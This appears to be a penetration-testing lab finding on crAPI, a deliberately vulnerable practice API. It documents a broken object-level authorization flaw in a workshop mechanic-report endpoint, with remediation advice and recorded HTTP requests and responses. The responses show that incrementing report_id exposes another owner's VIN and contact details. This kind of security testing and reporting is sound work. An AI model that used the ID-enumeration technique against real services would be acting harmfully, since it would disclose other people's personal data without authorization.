LAB FAIL

Broken Object Level Authorization - Workshop - Mechanic Report

Broken Object Level Authorization — Workshop — Mechanic Report

CWE-639: Authorization Bypass Through User-Controlled Key · OWASP API1:2023 - Broken Object Level Authorization (and API3:2023 - BOPLA)

Vulnerability

[FAIL] Broken Object Level Authorization - Workshop - Mechanic Report

Description

The mechanic_report endpoint accepts a sequential report_id and returns service reports belonging to other users (VIN and owner email) without verifying any relationship to the caller.

Impact

Confidentiality: cross-user disclosure of VIN, vehicle details, and owner email for every service report.

CWE

CWE-639: Authorization Bypass Through User-Controlled Key

OWASP

API1:2023 - Broken Object Level Authorization (and API3:2023 - BOPLA)

Scenario

Normal: read report_id=1. Exploitation: enumerate report_id (e.g. =2) -> discloses a different VIN and owner email -> CIA (Confidentiality).

Endpoint

GET http://127.0.0.1:8888/workshop/api/mechanic/mechanic_report?report_id={id}

Affected feature

Mechanic Service Report (crapi-workshop)

Remediation

- Verify that report_id belongs to the calling user/mechanic. - Use UUIDs and minimize the fields returned.

Proof of concept

(Screenshot 1) NORMAL: GET mechanic_report?report_id=1 with the attacker token -> 200 (reference).
(Screenshot 2) EXPLOITATION + CIA: change the parameter to report_id=2 -> 200 discloses another owner's VIN and email ([REDACTED-EMAIL]).

The complete record

LAB All targets are lab systems. Nothing here is a client engagement. Evidence is shown as recorded; secrets are blacked out.

Normal: report_id=1 (reference)

Normal flow: read the service report at report_id=1 as a reference.

HTTP request

GET /workshop/api/mechanic/mechanic_report?report_id=1 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response

HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 479

{
  "id": 1,
  "mechanic": {
    "id": 1,
    "mechanic_code": "TRAC_JHN",
    "user": {
      "email": "[REDACTED-EMAIL]",
      "number": ""
    }
  },
  "vehicle": {
    "id": 3,
    "vin": "0NKPZ09IHOP508673",
    "owner": {
      "email": "[REDACTED-EMAIL]",
      "number": "9876570001"
    }
  },
  "problem_details": "My car BMW - 5 Series is having issues.\nCan you give me a call on my mobile 9876570001,\nOr send me an email at [REDACTED-EMAIL]\nThanks,\nRobot.\n",
  "status": "pending",
  "created_on": "28 September, 2026, 14:28:07",
  "updated_on": null,
  "comments": []
}

An English annotation is not available for this capture.

Original text (Bahasa Indonesia)

EXPLOIT+CIA: report_id=2 DAMPAK CIA: report_id dinaikkan (sekuensial) -> membocorkan laporan milik pemilik kendaraan lain (VIN + email [REDACTED-EMAIL]). Confidentiality: data lintas-pengguna.

HTTP request

GET /workshop/api/mechanic/mechanic_report?report_id=2 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response

HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 490

{
  "id": 2,
  "mechanic": {
    "id": 1,
    "mechanic_code": "TRAC_JHN",
    "user": {
      "email": "[REDACTED-EMAIL]",
      "number": ""
    }
  },
  "vehicle": {
    "id": 2,
    "vin": "8VAUI03PRUQ686911",
    "owner": {
      "email": "[REDACTED-EMAIL]",
      "number": "9876570006"
    }
  },
  "problem_details": "My car MG Motor - Hector Plus is having issues.\nCan you give me a call on my mobile 9876570006,\nOr send me an email at [REDACTED-EMAIL]\nThanks,\nPogba.\n",
  "status": "inprogress",
  "created_on": "28 September, 2026, 14:28:07",
  "updated_on": null,
  "comments": []
}

← Previous case: Broken Object Level Authorization - Vehicle - Location Tracking (Unauthenticated) Next case: Broken Object Level Authorization - Workshop - Mechanic Report (Unauthenticated) →